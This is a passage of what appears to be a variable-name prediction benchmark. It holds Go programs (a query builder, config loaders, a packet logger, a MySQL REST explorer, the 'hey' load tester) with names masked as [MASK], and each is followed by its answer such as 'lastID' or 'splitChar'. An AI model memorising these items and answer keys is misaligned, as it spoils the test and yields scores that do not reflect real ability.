strings.ReplaceAll(sqlStr, ""$VALUES"", fmt.Sprintf(""(%s)"", strings.Join(valueList, ""),(""))) stmt, err := p.db.PrepareContext(p.ctx, sqlStr) if err != nil { return fmt.Errorf(""save:prepare sql error:%w"", err) } if _, err = stmt.ExecContext(p.ctx, insertArgs...); err != nil { return fmt.Errorf(""save:exec context:%w"", err) } return nil } func (p *PgTable) Delete() error { sql := p.parseSQL(opTypeDelete) defer p.clear() if p.where == nil { return fmt.Errorf(""delete:must have deletion condition"") } stmt, err := p.db.PrepareContext(p.ctx, sql.String()) if err != nil { return fmt.Errorf(""delete:prepare sql error:%w"", err) } if _, err = stmt.ExecContext(p.ctx, p.filler...); err != nil { return fmt.Errorf(""delete:exec context:%w"", err) } return nil } func (p *PgTable) SetInc(field string) error { sql := p.parseSQL(opTypeSaveInt) defer p.clear() sqlStr := strings.ReplaceAll(sql.String(), ""$FIELDS"", field) stmt, err := p.db.PrepareContext(p.ctx, sqlStr) if err != nil { return fmt.Errorf(""save inc:prepare sql error:%w"", err) } if _, err = stmt.ExecContext(p.ctx, p.meta.filler...); err != nil { return fmt.Errorf(""save inc:exec context:%w"", err) } return nil } func (p *PgTable) SetDec(field string) error { sql := p.parseSQL(opTypeSaveDec) defer p.clear() sqlStr := strings.ReplaceAll(sql.String(), ""$FIELDS"", field) stmt, err := p.db.PrepareContext(p.ctx, sqlStr) if err != nil { return fmt.Errorf(""save dec:prepare sql error:%w"", err) } if _, err = stmt.ExecContext(p.ctx, p.meta.filler...); err != nil { return fmt.Errorf(""save dec:exec context:%w"", err) } return nil } func (p *PgTable) parseSQL(op interface{}) (cond bytes.Buffer) { tableName := p.parseTableName() switch op.(opType) { case opTypeQuery: cond.WriteString(""SELECT "") cond.WriteString(p.fields) cond.WriteString("" FROM "") cond.Write(tableName.Bytes()) where := p.parseWhere() if where.Len() != 0 { cond.WriteString("" WHERE "") cond.Write(where.Bytes()) } if p.group != """" { cond.WriteString("" GROUP BY "") cond.WriteString(p.group) } if p.sort.Len() != 0 { cond.WriteString(p.sort.String()) } if p.offset > 0 { cond.WriteString("" OFFSET "") cond.WriteString(strconv.FormatInt(p.offset, 10)) } if p.limit > 0 { cond.WriteString("" LIMIT "") cond.WriteString(strconv.FormatInt(p.limit, 10)) } case opTypeCount: cond.WriteString(""SELECT "") cond.WriteString(p.fields) cond.WriteString("" FROM "") cond.Write(tableName.Bytes()) where := p.parseWhere() if where.Len() != 0 { cond.WriteString("" WHERE "") cond.Write(where.Bytes()) } case opTypeSum: cond.WriteString(""SELECT SUM("") cond.WriteString(p.fields) cond.WriteString("") FROM "") cond.Write(tableName.Bytes()) where := p.parseWhere() if where.Len() != 0 { cond.WriteString("" WHERE "") cond.Write(where.Bytes()) } case opTypeAvg: cond.WriteString(""SELECT AVG("") cond.WriteString(p.fields) cond.WriteString("") FROM "") cond.Write(tableName.Bytes()) where := p.parseWhere() if where.Len() != 0 { cond.WriteString("" WHERE "") cond.Write(where.Bytes()) } case opTypeCreate: cond.WriteString(""INSERT INTO "") cond.Write(tableName.Bytes()) cond.WriteString(""$FIELDS VALUES $VALUES"") case opTypeSave: cond.WriteString(""UPDATE "") cond.Write(tableName.Bytes()) cond.WriteString("" SET $FIELDS = $VALUES"") where := p.parseWhere() if where.Len() != 0 { cond.WriteString("" WHERE "") cond.Write(where.Bytes()) } case opTypeDelete: cond.WriteString(""DELETE FROM "") cond.Write(tableName.Bytes()) where := p.parseWhere() if where.Len() != 0 { cond.WriteString("" WHERE "") cond.Write(where.Bytes()) } case opTypeSaveInt: cond.WriteString(""UPDATE "") cond.Write(tableName.Bytes()) cond.WriteString("" SET $FIELDS = $FIELDS + 1"") where := p.parseWhere() if where.Len() != 0 { cond.WriteString("" WHERE "") cond.Write(where.Bytes()) } case opTypeSaveDec: cond.WriteString(""UPDATE "") cond.Write(tableName.Bytes()) cond.WriteString("" SET $FIELDS = $FIELDS - 1"") where := p.parseWhere() if where.Len() != 0 { cond.WriteString("" WHERE "") cond.Write(where.Bytes()) } } return } func (p *PgTable) parseTableName() (cond bytes.Buffer) { // only mysql can use it //if p.meta.dbName != """" { // cond.WriteString(""`"") // cond.WriteString(p.dbName) // cond.WriteString(""`."") //} if p.meta.tableName != """" { cond.WriteString(`""`) cond.WriteString(p.tableName) cond.WriteString(`""`) } return } func (p *PgTable) parseWhere() (cond bytes.Buffer) { if p.meta.where != nil { for _, row := range p.meta.where { p.storageCursor++ if row.storageType == storageTypeWhereOr && cond.Len() != 0 { cond.WriteString("" OR "") } if row.storageType == storageTypeWhereAnd && cond.Len() != 0 { cond.WriteString("" AND "") } tag := fmt.Sprintf(""$%d"", p.storageCursor) cond.WriteString(strings.ReplaceAll(row.bucket, ""?"", tag)) p.filler = append(p.filler, row.argc...) } } return } func (p *PgTable) checkIsSlice(dest interface{}) (isSlice bool, err error) { switch reflect.TypeOf(dest).Kind() { case reflect.Ptr: switch reflect.ValueOf(dest).Elem().Kind() { case reflect.Slice: isSlice = true case reflect.Struct: isSlice = false //case reflect.Map: // isSlice = false default: err = fmt.Errorf(""checkIsSlice:dest must be a slice/struct pointer"") return } default: err = fmt.Errorf(""checkIsSlice:dest must be a slice/struct pointer"") return } return } func (p *PgTable) checkUpdateType(dest interface{}) (isMap bool, err error) { switch reflect.TypeOf(dest).Kind() { case reflect.Ptr: switch reflect.ValueOf(dest).Elem().Kind() { case reflect.Struct: isMap = false case reflect.Map: isMap = true default: err = fmt.Errorf(""checkUpdateType:dest must be a map/struct pointer"") return } default: err = fmt.Errorf(""checkUpdateType:dest must be a map/struct pointer"") return } return } type PgQuery struct { *Pg } func (p *PgQuery) Sort(filed string, sortBy string) Query { return p.table.Sort(filed, sortBy) } func (p *PgQuery) Offset(offset int64) Query { return p.table.Offset(offset) } func (p *PgQuery) Limit(limit int64) Query { return p.table.Limit(limit) } func (p *PgQuery) Group(group string) Query { p.group = group return p.query } func (p *PgQuery) Find(dest interface{}) error { return p.table.Find(dest) } func (p *PgQuery) Count(count *int64) error { return p.table.Count(count) } func (p *PgQuery) Sum(sum *int64) error { return p.table.Sum(sum) } func (p *PgQuery) Avg(avg *int64) error { return p.table.Avg(avg) } ",receiverMap 572,"package main import ( ""fmt"" ""log"" ""os"" ""github.com/spf13/viper"" ) func f(a any) { switch a.(type) { case int: fmt.Println(""int "") case string: fmt.Println(""is string "") } } //全大写 type AppConfig struct { *RedisConfig `mapstructure:""redis""` *MySQLConfig `mapstructure:""mysql""` } type RedisConfig struct { Host string `mapstructure:""host""` Port int `mapstructure:""port""` } type MySQLConfig struct { Host string `mapstructure:""host""` Port int `mapstructure:""port""` } //https://blog.csdn.net/mrtwenty/article/details/97621402 //YAML : https://www.ruanyifeng.com/blog/2016/07/yaml.html // YAML y读取 https://blog.csdn.net/qq_51898139/article/details/126482375 func main() { f(""11111"") f(123) for _, args := range os.Args { log.Println(""parasm="", args) } if len(os.Args) < 2 { panic(""start failed: config parameter missing "") } configFile := os.Args[1] config := viper.New() config.SetConfigFile(configFile) config.SetConfigType(""yaml"") if err := config.ReadInConfig(); err != nil { panic(err.Error()) } log.Println(config.Get(""mysql.host"")) log.Println(config.Get(""redis"")) redisConf :=config.Get(""redis"") if redisConf ==nil { panic(""redis config err "") } //第二种方式,直接map 起来 [MASK] := new (AppConfig) if err := config.Unmarshal( [MASK] ) ;err !=nil { log.Println(""unable to marshal "" ,err.Error()) return } log.Println( [MASK] .RedisConfig.Port) log.Println( [MASK] .MySQLConfig.Port) } ",mapConf 573,"// Copyright 2014 . All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package main import ( ""flag"" ""io"" ""log"" ""os"" ""os/exec"" ""os/signal"" ""runtime"" ""runtime/pprof"" ""strings"" ""time"" ) // Command line arguments var iface = flag.String(""ifce"", ""en0"", ""Interface to get packets from"") var inputfile = flag.String(""infile"", """", ""read packets from file"") var logAllPackets = flag.Bool(""v"", false, ""Logs every packet in great detail"") var launchCmd = flag.String(""e"", """", ""Launches the command and logs its traffic"") var cpuprofile = flag.String(""cpuprofile"", """", ""write cpu profile to file"") // createProcessEndedChannel creates and returns a channel that will be used // to return the exit code of command CMD after it's finished. func createProcessEndedChannel(cmd *exec.Cmd) (cmd_done chan error) { cmd_done = make(chan error, 1) go func() { cmd_done <- cmd.Wait() }() return cmd_done } // createCtrlCchannel creates and returns a channel that will be used to signal // the user typing CTRL-C. func createCtrlCchannel() (ctrlc chan os.Signal) { ctrlc = make(chan os.Signal, 1) signal.Notify(ctrlc, os.Interrupt) return } // createTimeoutChannel creates and returns a channel, starts a timer of // duration T and send TRUE over the channel when that durations passes. func createTimeoutChannel(t time.Duration) (timeout chan bool) { timeout = make(chan bool, 1) go func() { time.Sleep(t * time.Second) timeout <- true }() return } /* func createNetDescChannel() (netDescs chan NetDescriptor) { netDescSource := NewOSXNetDescSource() netDescs = netDescSource.Descriptors() return } */ func main() { flag.Parse() log.SetFlags(log.Ltime | log.Lmicroseconds) // log.SetOutput(ioutil.Discard) // run the http reader goroutines on all available CPU cores runtime.GOMAXPROCS(runtime.NumCPU()) // Setup profiler if *cpuprofile != """" { f, err := os.Create(*cpuprofile) if err != nil { log.Fatal(err) } pprof.StartCPUProfile(f) defer f.Close() defer pprof.StopCPUProfile() } // Set up storage layer storage, err := NewStorage() if err != nil { panic(err) } // Setup CTRL-C handler channel ctrlc := createCtrlCchannel() // Setup channel that reports all socket kernel events (Mac OS X only) // netDescs := createNetDescChannel() packetLayer := NewPacketLayer(storage) packets := packetLayer.CreatePacketsChannel() // Run the external command // pid := uint32(0) var cmd_done chan error var start_time time.Time if *launchCmd != """" { s := *launchCmd args := strings.Split(s, "" "") cmd := exec.Command(args[0], args[1:]...) start_time = time.Now() cmd_stdout, err := cmd.StdoutPipe() if err != nil { log.Fatal(err) } err = cmd.Start() if err != nil { panic(err) } go io.Copy(os.Stdout, cmd_stdout) // Create the channel that listens for the end of the command. cmd_done = createProcessEndedChannel(cmd) // pid = uint32(cmd.Process.Pid) } var timeout chan bool loop: for { select { /* case netDesc := <-netDescs: if netDesc.Pid == pid { log.Println(""event received "", netDesc) }*/ case packet, ok := <-packets: if !ok { log.Println(""All data read"") packets = nil timeout = createTimeoutChannel(0) break } if packet == nil { break } if *logAllPackets { log.Println(packet) } packetLayer.HandlePacket(packet) case err := <-cmd_done: if err != nil { log.Printf(""process done with error = %v\n"", err) } log.Println(""Process took: "", time.Now().Sub(start_time)) // Wait for a couple of seconds, just enough to get the events // handled by the main function. log.Println(""Waiting for the remaining responses to arrive."") timeout = createTimeoutChannel(10) case <-ctrlc: // Don't wait. timeout = createTimeoutChannel(0) case <-timeout: break loop } } signal.Stop(ctrlc) packetLayer.Close() // Close the storage layer. This will block until all pending inserts in // the db are handled. storage.Close() [MASK] , err := NewReporting() if err != nil { panic(err) } if err = [MASK] .Report(); err != nil { log.Panic(err) } os.Exit(0) } ",reporting 574,"package address import ( ""fmt"" ""os"" ""path"" ""strconv"" ""strings"" ""sync"" ""github.com/toolkits/pkg/file"" ""github.com/toolkits/pkg/runner"" ) type Module struct { HTTP string `yaml:""http""` RPC string `yaml:""rpc""` Addresses []string `yaml:""addresses""` } var ( lock sync.Once mods map[string]Module ) func GetHTTPListen(mod string) string { return getMod(mod).HTTP } func GetHTTPPort(mod string) int { return convPort(mod, getMod(mod).HTTP, ""http"") } func GetRPCListen(mod string) string { return getMod(mod).RPC } func GetRPCPort(mod string) int { return convPort(mod, getMod(mod).RPC, ""rpc"") } func convPort(module, listen, portType string) int { [MASK] := "":"" if IsIPv6(listen) { [MASK] = ""]:"" } port, err := strconv.Atoi(strings.Split(listen, [MASK] )[1]) if err != nil { fmt.Printf(""%s.%s invalid"", module, portType) os.Exit(1) } return port } func GetHTTPAddresses(mod string) []string { modConf := getMod(mod) count := len(modConf.Addresses) if count == 0 { return []string{} } port := convPort(mod, modConf.HTTP, ""http"") addresses := make([]string, count) for i := 0; i < count; i++ { addresses[i] = fmt.Sprintf(""%s:%d"", modConf.Addresses[i], port) } return addresses } func GetAddresses(mod string) []string { modConf := getMod(mod) return modConf.Addresses } func GetRPCAddresses(mod string) []string { modConf := getMod(mod) count := len(modConf.Addresses) if count == 0 { return []string{} } port := convPort(mod, modConf.RPC, ""rpc"") addresses := make([]string, count) for i := 0; i < count; i++ { addresses[i] = fmt.Sprintf(""%s:%d"", modConf.Addresses[i], port) } return addresses } func getMod(modKey string) Module { lock.Do(func() { parseConf() }) mod, has := mods[modKey] if !has { fmt.Printf(""module(%s) configuration section not found"", modKey) os.Exit(1) } return mod } func parseConf() { conf := getConf() var c map[string]Module err := file.ReadYaml(conf, &c) if err != nil { fmt.Println(""cannot parse file:"", conf) os.Exit(1) } mods = c } func getConf() string { conf := path.Join(runner.Cwd, ""etc"", ""address.local.yml"") if file.IsExist(conf) { return conf } conf = path.Join(runner.Cwd, ""etc"", ""address.yml"") if file.IsExist(conf) { return conf } fmt.Println(""configuration file address.[local.]yml not found"") os.Exit(1) return """" } func IsIPv6(address string) bool { return strings.Count(address, "":"") >= 2 } ",splitChar 575,"// Unless explicitly stated otherwise all files in this repository are licensed // under the Apache License Version 2.0. // This product includes software developed at Datadog (https://www.datadoghq.com/). // Copyright 2016 Datadog, Inc. // +build ignore // This tool validates that all *.go files in the repository have the copyright text attached. package main import ( ""bytes"" ""fmt"" ""io"" ""log"" ""os"" ""path/filepath"" ""strings"" ) func main() { var missing bool copyrightText := []byte(fmt.Sprintf(""// Copyright 2016 Datadog, Inc."")) if err := filepath.Walk(""."", func(path string, info os.FileInfo, err error) error { if err != nil { return err } if filepath.Ext(path) != "".go"" || info.IsDir() || strings.Contains(path, ""vendor"") { return nil } f, err := os.Open(path) if err != nil { return err } defer f.Close() // read 1KB, header should be there [MASK] := make([]byte, 1024) _, err = f.Read( [MASK] ) if err != nil && err != io.EOF { return err } if !bytes.Contains( [MASK] , copyrightText) { // report missing header missing = true log.Printf(""Copyright header missing in %q.\n"", path) } return nil }); err != nil { log.Fatal(err) } if missing { // some files are missing the header, exit code 1 to fail CI os.Exit(1) } } ",snip 576,"package main import ( ""database/sql"" ""encoding/json"" ""fmt"" ""net/http"" ""net/url"" ""sort"" ""strconv"" ""strings"" ""time"" ) const ( PK_FIEALD_NAME = ""__primary_key"" IS_NULL = ""YES"" DEFAULT_VALUE = """" DEFAULT_OFFSET = 0 DEFAULT_LIMIT = 5 ) type Response map[string]interface{} func __err_panic(err error) { if err != nil { panic(err) } } type Item struct { columnName string columnType *sql.ColumnType pointer []string } type Column struct { pk string field sql.NullString fieldType sql.NullString collation sql.NullString isNull sql.NullString isKey sql.NullString defaultValue sql.NullString extra sql.NullString privileges sql.NullString comment sql.NullString } type Handler struct { DB *sql.DB tables map[string]map[string]Column } func (h *Handler) Router(w http.ResponseWriter, r *http.Request) { w.Header().Set(""Content-type"", ""application/json"") if r.URL.Path == ""/"" { h.Index(w, r) return } pathParts := strings.Split(r.URL.Path, ""/"") if _, ok := h.tables[pathParts[1]]; !ok { w.WriteHeader(http.StatusNotFound) fmt.Fprintf(w, `{""error"": ""unknown table""}`) return } switch r.Method { case ""GET"": if len(pathParts) == 2 { h.List(w, r) break } if len(pathParts) == 3 { h.Get(w, r) break } w.WriteHeader(http.StatusNotFound) case ""POST"": h.Update(w, r) case ""PUT"": h.Add(w, r) case ""DELETE"": h.Delete(w, r) default: w.WriteHeader(http.StatusMethodNotAllowed) fmt.Fprintf(w, `{""response"": ""bad request""}`) } } func (h *Handler) Index(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusOK) tables := make([]string, 0, 10) for key := range h.tables { tables = append(tables, key) } sort.Strings(tables) fmt.Fprintf(w, `{""response"": {""tables"": [""%s""]}}`, strings.Join(tables, ""\"", \"""")) } func (h *Handler) List(w http.ResponseWriter, r *http.Request) { pathParts := strings.Split(r.URL.Path, ""/"") table := pathParts[1] limit := DEFAULT_LIMIT offset := DEFAULT_OFFSET params, err := url.ParseQuery(r.URL.RawQuery) if _, ok := params[""limit""]; ok { limit, err = strconv.Atoi(params[""limit""][0]) if err != nil { limit = DEFAULT_LIMIT } } if _, ok := params[""offset""]; ok { offset, err = strconv.Atoi(params[""offset""][0]) if err != nil { offset = DEFAULT_OFFSET } } fmt.Println(""sql::"", ""SELECT * FROM ""+table+"" LIMIT ? , ?"", offset, limit, ) records := make([]interface{}, 0, 10) rows, err := h.DB.Query(""SELECT * FROM ""+table+"" LIMIT ? , ?"", offset, limit) __err_panic(err) columns, err := rows.Columns() __err_panic(err) types, err := rows.ColumnTypes() __err_panic(err) readCols := make([]interface{}, len(columns)) writeCols := make([]sql.NullString, len(columns)) for i := range writeCols { readCols[i] = &writeCols[i] } for rows.Next() { err = rows.Scan(readCols...) __err_panic(err) record := Response{} for i, columnType := range types { if !writeCols[i].Valid { record[columnType.Name()] = nil continue } switch columnType.DatabaseTypeName() { case ""INT"": record[columnType.Name()], err = strconv.Atoi(writeCols[i].String) __err_panic(err) default: record[columnType.Name()] = writeCols[i].String } } records = append(records, record) } // надо закрывать соединение, иначе будет течь rows.Close() response, _ := json.Marshal(Response{ ""response"": Response{ ""records"": records, }, }) w.Write(response) } func (h *Handler) Get(w http.ResponseWriter, r *http.Request) { pathParts := strings.Split(r.URL.Path, ""/"") table := pathParts[1] id, err := strconv.Atoi(pathParts[2]) __err_panic(err) fmt.Println(""sql::"", ""SELECT * FROM `""+table+""` WHERE `""+h.tables[table][PK_FIEALD_NAME].field.String+""`=? LIMIT 1"", id, ) rows, err := h.DB.Query(""SELECT * FROM `""+table+""` WHERE `""+h.tables[table][PK_FIEALD_NAME].field.String+""`=? LIMIT 1"", id) __err_panic(err) // надо закрывать соединение, иначе будет течь defer rows.Close() columns, err := rows.Columns() __err_panic(err) types, err := rows.ColumnTypes() __err_panic(err) readCols := make([]interface{}, len(columns)) writeCols := make([]sql.NullString, len(columns)) for i := range writeCols { readCols[i] = &writeCols[i] } record := Response{} if !rows.Next() { http.Error(w, `{""error"": ""record not found""}`, http.StatusNotFound) return } err = rows.Scan(readCols...) __err_panic(err) for i, columnType := range types { if !writeCols[i].Valid { record[columnType.Name()] = nil continue } switch columnType.DatabaseTypeName() { case ""INT"": record[columnType.Name()], err = strconv.Atoi(writeCols[i].String) __err_panic(err) default: record[columnType.Name()] = writeCols[i].String } } response, _ := json.Marshal(Response{ ""response"": Response{ ""record"": record, }, }) w.Write(response) } func (h *Handler) Add(w http.ResponseWriter, r *http.Request) { pathParts := strings.Split(r.URL.Path, ""/"") table := pathParts[1] item := map[string]interface{}{} decoder := json.NewDecoder(r.Body) err := decoder.Decode(&item) __err_panic(err) for key, column := range h.tables[table] { if key == PK_FIEALD_NAME { continue } if column.isNull.String == IS_NULL { continue } if _, ok := item[key]; !ok { item[key] = DEFAULT_VALUE } } keys := make([]string, 0, len(item)) values := make([]interface{}, 0, len(item)) for key, value := range item { if _, ok := h.tables[table][key]; !ok { //ignore unknown fields continue } if column := h.tables[table][key]; column.isKey.String != """" { // ignore primary keys continue } keys = append(keys, key) values = append(values, value) } placeholders := make([]string, len(keys)) for i := range placeholders { placeholders[i] = ""?"" } fmt.Println(""sql::"", ""INSERT INTO ""+table+"" (`""+strings.Join(keys, ""`, `"")+""`) VALUES (""+strings.Join(placeholders, "", "")+"")"", values, ) // в целям упрощения примера пропущена валидация result, err := h.DB.Exec( ""INSERT INTO ""+table+"" (`""+strings.Join(keys, ""`, `"")+""`) VALUES (""+strings.Join(placeholders, "", "")+"")"", values... ) __err_panic(err) [MASK] , err := result.LastInsertId() __err_panic(err) response, _ := json.Marshal(Response{ ""response"": Response{ h.tables[table][PK_FIEALD_NAME].field.String: [MASK] , }, }) w.Write(response) } func (h *Handler) Update(w http.ResponseWriter, r *http.Request) { pathParts := strings.Split(r.URL.Path, ""/"") table := pathParts[1] id, err := strconv.Atoi(pathParts[2]) __err_panic(err) item := map[string]interface{}{} decoder := json.NewDecoder(r.Body) err = decoder.Decode(&item) __err_panic(err) keys := make([]string, 0, len(item)) values := make([]interface{}, 0, len(item)) for key, value := range item { if _, ok := h.tables[table][key]; !ok { //ignore unknown fields continue } if column := h.tables[table][key]; column.isKey.String != """" { // ignore primary keys err = fmt.Errorf(""field %s have invalid type"", key) continue } if _, ok := value.(string); !ok && value != nil { // check field type fmt.Printf(""%+v %+v"", h.tables[table][key].fieldType.String, value) err = fmt.Errorf(""field %s have invalid type"", key) continue } if value == nil && h.tables[table][key].isNull.String != IS_NULL { err = fmt.Errorf(""field %s have invalid type"", key) continue } keys = append(keys, key) values = append(values, value) } placeholders := make([]string, len(keys)) for i, key := range keys { placeholders[i] = fmt.Sprintf(""`%s` = ?"", key) } if err != nil { w.WriteHeader(http.StatusBadRequest) response, _ := json.Marshal(Response{ ""error"": fmt.Sprint(err), }) w.Write(response) return } fmt.Println(""sql::"", ""UPDATE `""+table+""` SET ""+ strings.Join(placeholders, "","")+ "" WHERE `""+h.tables[table][PK_FIEALD_NAME].field.String+""` = ?"", values, ) values = append(values, id) // в целям упрощения примера пропущена валидация result, err := h.DB.Exec( ""UPDATE `""+table+""` SET ""+ strings.Join(placeholders, "","")+ "" WHERE `""+h.tables[table][PK_FIEALD_NAME].field.String+""` = ?"", values..., ) __err_panic(err) affected, err := result.RowsAffected() __err_panic(err) response, _ := json.Marshal(Response{ ""response"": Response{ ""updated"": affected, }, }) w.Write(response) } func (h *Handler) Delete(w http.ResponseWriter, r *http.Request) { pathParts := strings.Split(r.URL.Path, ""/"") table := pathParts[1] id, err := strconv.Atoi(pathParts[2]) __err_panic(err) fmt.Println(""sql::"", ""DELETE FROM `""+table+""` WHERE `""+h.tables[table][PK_FIEALD_NAME].field.String+""` = ?"", id, ) result, err := h.DB.Exec( ""DELETE FROM `""+table+""` WHERE `""+h.tables[table][PK_FIEALD_NAME].field.String+""` = ?"", id, ) __err_panic(err) affected, err := result.RowsAffected() __err_panic(err) response, _ := json.Marshal(Response{ ""response"": Response{ ""deleted"": affected, }, }) w.Write(response) } // тут вы пишете код // обращаю ваше внимание - в этом задании запрещены глобальные переменные func NewDbExplorer(DB *sql.DB) (http.Handler, error) { handlers := &Handler{ DB: DB, tables: make(map[string]map[string]Column), } mux := http.NewServeMux() tables := make([]string, 0, 5) rows, err := DB.Query(""SHOW TABLES;"") __err_panic(err) for rows.Next() { tableName := """" err = rows.Scan(&tableName) __err_panic(err) tables = append(tables, tableName) } // надо закрывать соединение, иначе будет течь err = rows.Close() __err_panic(err) handlers.tables = make(map[string]map[string]Column, len(tables)) for _, tableName := range tables { columns, err := DB.Query(""SHOW FULL COLUMNS FROM "" + tableName) __err_panic(err) handlers.tables[tableName] = make(map[string]Column) for columns.Next() { column := Column{} err = columns.Scan(&column.field, &column.fieldType, &column.collation, &column.isNull, &column.isKey, &column.defaultValue, &column.extra, &column.privileges, &column.comment) __err_panic(err) if column.isKey.String != """" { handlers.tables[tableName][PK_FIEALD_NAME] = column } handlers.tables[tableName][column.field.String] = column } err = columns.Close() __err_panic(err) } mux.HandleFunc(""/"", handlers.Router) siteHandler := accessLogMiddleware(mux) siteHandler = panicMiddleware(siteHandler) return siteHandler, nil } func accessLogMiddleware(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { start := time.Now() next.ServeHTTP(w, r) fmt.Printf(""[%s] %s, %s %s\n"", r.Method, r.RemoteAddr, r.URL.Path+r.URL.RawPath, time.Since(start)) }) } func panicMiddleware(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { defer func() { if err := recover(); err != nil { fmt.Println(""recovered"", err) http.Error(w, ""Internal server error"", 500) } }() next.ServeHTTP(w, r) }) } ",lastID 577,"package main import ( ""context"" ""flag"" ""log"" f2l ""github.com/takanoriyanagitani/go-fs2pg2lo"" ) var poolConfigString f2l.PoolConfigString = f2l.PoolConfigStringDefault func main() { var filename string flag.StringVar(&filename, ""file"", """", ""path to the file to be saved as a large object"") flag.Parse() if filename == """" { log.Println(""Please provide a filename using the -file flag."") return } cfg, e := poolConfigString.Parse() if nil != e { log.Printf(""invalid config string: %v\n"", e) return } pool, e := cfg.Connect(context.Background()) if nil != e { log.Printf(""cannot connect to db: %v\n"", e) return } defer pool.Close() var [MASK] f2l.FileStore = pool.ToFileStoreDefault() var saver f2l.FileSaver = [MASK] .ToFileSaverDefault() e = saver.SaveFile(context.Background(), filename) if nil != e { log.Printf(""cannot save file: %v\n"", e) return } } ",store 578,"// Copyright 2014 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Command hey is an HTTP load generator. package main import ( ""flag"" ""fmt"" ""math"" ""net/http"" gourl ""net/url"" ""os"" ""os/signal"" ""regexp"" ""runtime"" ""strings"" ""time"" ""github.com/tanqinwang/hey/requester"" ) const ( headerRegexp = `^([\w-]+):\s*(.+)` authRegexp = `^(.+):([^\s].+)` heyUA = ""hey/0.0.1"" ) var ( m = flag.String(""m"", ""GET"", """") headers = flag.String(""h"", """", """") body = flag.String(""d"", """", """") bodyFile = flag.String(""D"", """", """") accept = flag.String(""A"", """", """") contentType = flag.String(""T"", ""text/html"", """") authHeader = flag.String(""a"", """", """") hostHeader = flag.String(""host"", """", """") userAgent = flag.String(""U"", """", """") output = flag.String(""o"", """", """") c = flag.Int(""c"", 2, """") n = flag.Int(""n"", 10, """") q = flag.Float64(""q"", 0, """") t = flag.Int(""t"", 20, """") z = flag.Duration(""z"", 0, """") h2 = flag.Bool(""h2"", false, """") cpus = flag.Int(""cpus"", runtime.GOMAXPROCS(-1), """") disableCompression = flag.Bool(""disable-compression"", false, """") disableKeepAlives = flag.Bool(""disable-keepalive"", false, """") disableRedirects = flag.Bool(""disable-redirects"", false, """") disableDumpBody = flag.Bool(""disable-dump-body"", false, """") proxyAddr = flag.String(""x"", """", """") ) var usage = `Usage: hey [options...] Options: -n Number of requests to run. Default is 10. -c Number of workers to run concurrently. Total number of requests cannot be smaller than the concurrency level. Default is 2. -q Rate limit, in queries per second (QPS) per worker. Default is no rate limit. -z Duration of application to send requests. When duration is reached, application stops and exits. If duration is specified, n is ignored. Examples: -z 10s -z 3m. -o Output type. If none provided, a summary is printed. ""csv"" is the only supported alternative. Dumps the response metrics in comma-separated values format. -m HTTP method, one of GET, POST, PUT, DELETE, HEAD, OPTIONS. -H Custom HTTP header. You can specify as many as needed by repeating the flag. For example, -H ""Accept: text/html"" -H ""Content-Type: application/xml"" . -t Timeout for each request in seconds. Default is 20, use 0 for infinite. -A HTTP Accept header. -d HTTP request body. -D HTTP request body from file. For example, /home/user/file.txt or ./file.txt. -T Content-type, defaults to ""text/html"". -U User-Agent, defaults to version ""hey/1.0.0"". -a Basic authentication, username:password. -x HTTP Proxy address as host:port. -h2 Enable HTTP/2. -host HTTP Host header. -disable-compression Disable compression. -disable-keepalive Disable keep-alive, prevents re-use of TCP connections between different HTTP requests. -disable-redirects Disable following of HTTP redirects -disable-dump-body Disable print response body -cpus Number of used cpu cores. (default for current machine is %d cores) ` func main() { flag.Usage = func() { fmt.Fprintf(os.Stderr, usage, runtime.NumCPU()) } var hs headerSlice flag.Var(&hs, ""H"", """") flag.Parse() if flag.NArg() < 1 { usageAndExit("""") } runtime.GOMAXPROCS(*cpus) num := *n conc := *c q := *q dur := *z if dur > 0 { num = math.MaxInt32 if conc <= 0 { usageAndExit(""-c cannot be smaller than 1."") } } else { if num <= 0 || conc <= 0 { usageAndExit(""-n and -c cannot be smaller than 1."") } if num < conc { usageAndExit(""-n cannot be less than -c."") } } url := getURL(flag.Args()[0]) method := strings.ToUpper(*m) // set content-type header := make(http.Header) header.Set(""Content-Type"", *contentType) // set any other additional headers if *headers != """" { usageAndExit(""Flag '-h' is deprecated, please use '-H' instead."") } // set any other additional repeatable headers for _, h := range hs { match, err := parseInputWithRegexp(h, headerRegexp) if err != nil { usageAndExit(err.Error()) } header.Set(match[1], match[2]) } if *accept != """" { header.Set(""Accept"", *accept) } // set basic auth if set var username, password string if *authHeader != """" { match, err := parseInputWithRegexp(*authHeader, authRegexp) if err != nil { usageAndExit(err.Error()) } username, password = match[1], match[2] } var bodyAll []byte if *body != """" { bodyAll = []byte(*body) } if *bodyFile != """" { slurp, err := os.ReadFile(*bodyFile) if err != nil { errAndExit(err.Error()) } bodyAll = slurp } var proxyURL *gourl.URL if *proxyAddr != """" { var err error proxyURL, err = gourl.Parse(*proxyAddr) if err != nil { usageAndExit(err.Error()) } } req, err := http.NewRequest(method, url, nil) if err != nil { usageAndExit(err.Error()) } req.ContentLength = int64(len(bodyAll)) if username != """" || password != """" { req.SetBasicAuth(username, password) } // set host header if set if *hostHeader != """" { req.Host = *hostHeader } ua := header.Get(""User-Agent"") if ua == """" { ua = heyUA } else { ua += "" "" } header.Set(""User-Agent"", ua) // set userAgent header if set if *userAgent != """" { ua = *userAgent header.Set(""User-Agent"", ua) } req.Header = header w := &requester.Work{ Request: req, RequestBody: bodyAll, N: num, C: conc, QPS: q, Timeout: *t, DisableCompression: *disableCompression, DisableKeepAlives: *disableKeepAlives, DisableRedirects: *disableRedirects, 